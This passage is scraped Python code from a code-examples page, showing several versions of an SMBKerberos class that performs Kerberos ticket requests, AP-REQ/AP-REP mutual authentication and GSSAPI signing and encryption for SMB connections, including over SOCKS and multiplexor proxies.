                        ap_opts.append('mutual-required')
                    apreq = self.kc.construct_apreq(tgs,
                                                    encpart,
                                                    self.session_key,
                                                    flags=self.flags,
                                                    seq_number=self.seq_number,
                                                    ap_opts=ap_opts,
                                                    cb_data=cb_data)
                    return apreq, True, None

                else:
                    #no mutual or dce auth will take one step only
                    apreq = self.kc.construct_apreq(tgs,
                                                    encpart,
                                                    self.session_key,
                                                    flags=self.flags,
                                                    seq_number=self.seq_number,
                                                    ap_opts=[],
                                                    cb_data=cb_data)
                    self.gssapi = get_gssapi(self.session_key)
                    return apreq, False, None

            else:
                self.iterations += 1
                #raise Exception('Not implemented!')
                if ChecksumFlags.GSS_C_DCE_STYLE in self.flags:
                    # adata = authData[16:]
                    # if ChecksumFlags.GSS_C_DCE_STYLE in self.flags:
                    #	adata = authData
                    raise Exception('DCE auth Not implemented!')

                # at this point we are dealing with mutual authentication
                # This means that the server sent back an AP-rep wrapped in a token
                # The APREP contains a new session key we'd need to update and a seq-number
                # that is expected the server will use for future communication.
                # For mutual auth we dont need to reply anything after this step,
                # but for DCE auth a reply is expected. TODO

                # converting the token to aprep
                token = KRB5_MECH_INDEP_TOKEN.from_bytes(authData)
                if token.data[:2] != b'\x02\x00':
                    raise Exception('Unexpected token type! %s' %
                                    token.data[:2].hex())
                aprep = AP_REP.load(token.data[2:]).native

                # decrypting aprep
                cipher = _enctype_table[int(aprep['enc-part']['etype'])]()
                cipher_text = aprep['enc-part']['cipher']
                temp = cipher.decrypt(self.session_key, 12, cipher_text)
                enc_part = EncAPRepPart.load(temp).native

                #updating session key, gssapi
                self.session_key = Key(int(enc_part['subkey']['keytype']),
                                       enc_part['subkey']['keyvalue'])
                #self.seq_number = enc_part.get('seq-number', 0)
                self.gssapi = get_gssapi(self.session_key)

                return b'', False, None

        except Exception as e:
            return None, None, e
Exemple #20
0
class SMBKerberos:
    def __init__(self, settings):
        self.settings = settings
        self.mode = None
        self.ccred = None
        self.target = None
        self.spn = None
        self.kc = None

        self.session_key = None
        self.gssapi = None
        self.iterations = 0
        self.etype = None
        self.seq_number = None

        self.setup()

    async def sign(self, data, message_no, direction='init'):
        return self.gssapi.GSS_GetMIC(data, message_no, direction=direction)

    async def encrypt(self, data, message_no):
        return self.gssapi.GSS_Wrap(data, message_no)

    async def decrypt(self,
                      data,
                      message_no,
                      direction='init',
                      auth_data=None):
        return self.gssapi.GSS_Unwrap(data,
                                      message_no,
                                      direction=direction,
                                      auth_data=auth_data)

    def setup(self):
        self.mode = self.settings.mode
        self.ccred = self.settings.ccred
        self.spn = self.settings.spn
        self.target = self.settings.target

    def get_session_key(self):
        return self.session_key.contents

    async def setup_kc(self):
        try:
            if self.target.proxy is None:
                self.kc = AIOKerberosClient(self.ccred, self.target)
            elif self.target.proxy.type in [
                    SMBProxyType.SOCKS5, SMBProxyType.SOCKS5_SSL,
                    SMBProxyType.SOCKS4, SMBProxyType.SOCKS4_SSL
            ]:
                target = AIOKerberosClientSocksSocket(self.target)
                self.kc = AIOKerberosClient(self.ccred, target)

            elif self.target.proxy.type in [
                    SMBProxyType.MULTIPLEXOR, SMBProxyType.MULTIPLEXOR_SSL
            ]:
                #	kcred.target.proxy = KerberosProxy()
                #	kcred.target.proxy.target = copy.deepcopy(target.proxy.target)
                #	kcred.target.proxy.target.endpoint_ip = target.dc_ip
                #	kcred.target.proxy.target.endpoint_port = 88
                #	kcred.target.proxy.creds = copy.deepcopy(target.proxy.auth)

                from aiosmb.network.multiplexornetwork import MultiplexorProxyConnection
                mpc = MultiplexorProxyConnection(self.target)
                socks_proxy, err = await mpc.connect(is_kerberos=True)

                self.kc = AIOKerberosClient(self.ccred, socks_proxy)

            else:
                raise Exception('Unknown proxy type %s' %
                                self.target.proxy.type)

            #elif target.proxy.type in [SMBProxyType.SOCKS5, SMBProxyType.SOCKS5_SSL, SMBProxyType.SOCKS4, SMBProxyType.SOCKS4_SSL]:
            #	self.kc = AIOKerberosClient(self.ccred, self.target)
            #elif target.proxy.type in [SMBProxyType.MULTIPLEXOR, SMBProxyType.MULTIPLEXOR_SSL]:
            #	mpc = MultiplexorProxyConnection(target)
            #	socks_proxy = await mpc.connect()
            return None, None
        except Exception as e:
            return None, e

    async def authenticate(self,
                           authData,
                           flags=None,
                           seq_number=0,
                           is_rpc=False):
        try:
            if self.kc is None:
                _, err = await self.setup_kc()
                if err is not None:
                    return None, None, err

            if self.iterations == 0:
                #tgt = await self.kc.get_TGT(override_etype=[18])
                tgt = await self.kc.get_TGT(override_etype=[18])
                tgs, encpart, self.session_key = await self.kc.get_TGS(self.spn
                                                                       )
            ap_opts = []
            if is_rpc == True:
                if self.iterations == 0:
                    ap_opts.append('mutual-required')
                    flags = ChecksumFlags.GSS_C_CONF_FLAG | ChecksumFlags.GSS_C_INTEG_FLAG | ChecksumFlags.GSS_C_SEQUENCE_FLAG|\
                      ChecksumFlags.GSS_C_REPLAY_FLAG | ChecksumFlags.GSS_C_MUTUAL_FLAG | ChecksumFlags.GSS_C_DCE_STYLE

                    apreq = self.kc.construct_apreq(tgs,
                                                    encpart,
                                                    self.session_key,
                                                    flags=flags,
                                                    seq_number=seq_number,
                                                    ap_opts=ap_opts)
                    self.iterations += 1
                    return apreq, False, None

                else:
                    #mutual authentication part here
                    self.seq_number = seq_number

                    aprep = AP_REP.load(authData).native
                    cipher = _enctype_table[int(aprep['enc-part']['etype'])]()
                    cipher_text = aprep['enc-part']['cipher']
                    temp = cipher.decrypt(self.session_key, 12, cipher_text)

                    enc_part = EncAPRepPart.load(temp).native
                    cipher = _enctype_table[int(
                        enc_part['subkey']['keytype'])]()

                    now = datetime.datetime.now(datetime.timezone.utc)
                    apreppart_data = {}
                    apreppart_data['cusec'] = now.microsecond
                    apreppart_data['ctime'] = now.replace(microsecond=0)
                    apreppart_data['seq-number'] = enc_part['seq-number']
                    #print('seq %s' % enc_part['seq-number'])

                    apreppart_data_enc = cipher.encrypt(
                        self.session_key, 12,
                        EncAPRepPart(apreppart_data).dump(), None)

                    #overriding current session key
                    self.session_key = Key(cipher.enctype,
                                           enc_part['subkey']['keyvalue'])

                    ap_rep = {}
                    ap_rep['pvno'] = 5
                    ap_rep['msg-type'] = MESSAGE_TYPE.KRB_AP_REP.value
                    ap_rep['enc-part'] = EncryptedData({
                        'etype':
                        self.session_key.enctype,
                        'cipher':
                        apreppart_data_enc
                    })

                    token = AP_REP(ap_rep).dump()
                    self.gssapi = get_gssapi(self.session_key)
                    self.iterations += 1

                    return token, False, None
            else:
                apreq = self.kc.construct_apreq(tgs,
                                                encpart,
                                                self.session_key,
                                                flags=flags,
                                                seq_number=seq_number,
                                                ap_opts=ap_opts)
                return apreq, False, None

        except Exception as e:
            return None, None, e
Exemple #21
0
class SMBKerberos:
    def __init__(self, settings):
        self.settings = settings
        self.mode = None
        self.ccred = None
        self.target = None
        self.spn = None
        self.kc = None

        self.session_key = None
        self.gssapi = None
        self.iterations = 0
        self.etype = None

        self.setup()

    async def sign(self, data, message_no, direction='init'):
        return self.gssapi.GSS_GetMIC(data, message_no, direction=direction)

    async def encrypt(self, data, message_no):
        return self.gssapi.GSS_Wrap(data, message_no)

    async def decrypt(self,
                      data,
                      message_no,
                      direction='init',
                      auth_data=None):
        return self.gssapi.GSS_Unwrap(data,
                                      message_no,
                                      direction=direction,
                                      auth_data=auth_data)

    def setup(self):
        self.mode = self.settings.mode
        self.ccred = self.settings.ccred
        self.spn = self.settings.spn
        self.target = self.settings.target

        self.kc = AIOKerberosClient(self.ccred, self.target)

    def get_session_key(self):
        return self.session_key.contents

    async def authenticate(self,
                           authData,
                           flags=None,
                           seq_number=0,
                           is_rpc=False):

        if self.iterations == 0:
            #tgt = await self.kc.get_TGT(override_etype=[18])
            tgt = await self.kc.get_TGT()
            tgs, encpart, self.session_key = await self.kc.get_TGS(self.spn)
        ap_opts = []
        if is_rpc == True:
            if self.iterations == 0:
                ap_opts.append('mutual-required')
                flags = ChecksumFlags.GSS_C_CONF_FLAG | ChecksumFlags.GSS_C_INTEG_FLAG | ChecksumFlags.GSS_C_SEQUENCE_FLAG|\
                  ChecksumFlags.GSS_C_REPLAY_FLAG | ChecksumFlags.GSS_C_MUTUAL_FLAG | ChecksumFlags.GSS_C_DCE_STYLE

                apreq = self.kc.construct_apreq(tgs,
                                                encpart,
                                                self.session_key,
                                                flags=flags,
                                                seq_number=seq_number,
                                                ap_opts=ap_opts)
                self.iterations += 1
                return apreq, False

            else:
                #mutual authentication part here
                aprep = AP_REP.load(authData).native
                cipher = _enctype_table[int(aprep['enc-part']['etype'])]()
                cipher_text = aprep['enc-part']['cipher']
                temp = cipher.decrypt(self.session_key, 12, cipher_text)

                enc_part = EncAPRepPart.load(temp).native
                cipher = _enctype_table[int(enc_part['subkey']['keytype'])]()

                now = datetime.datetime.now(datetime.timezone.utc)
                apreppart_data = {}
                apreppart_data['cusec'] = now.microsecond
                apreppart_data['ctime'] = now.replace(microsecond=0)
                apreppart_data['seq-number'] = enc_part['seq-number']

                apreppart_data_enc = cipher.encrypt(
                    self.session_key, 12,
                    EncAPRepPart(apreppart_data).dump(), None)

                #overriding current session key
                self.session_key = Key(cipher.enctype,
                                       enc_part['subkey']['keyvalue'])

                ap_rep = {}
                ap_rep['pvno'] = 5
                ap_rep['msg-type'] = MESSAGE_TYPE.KRB_AP_REP.value
                ap_rep['enc-part'] = EncryptedData({
                    'etype': self.session_key.enctype,
                    'cipher': apreppart_data_enc
                })

                token = AP_REP(ap_rep).dump()
                self.gssapi = get_gssapi(self.session_key)
                self.iterations += 1

                return token, False
        else:
            apreq = self.kc.construct_apreq(tgs,
                                            encpart,
                                            self.session_key,
                                            flags=flags,
                                            seq_number=seq_number,
                                            ap_opts=ap_opts)
            return apreq, False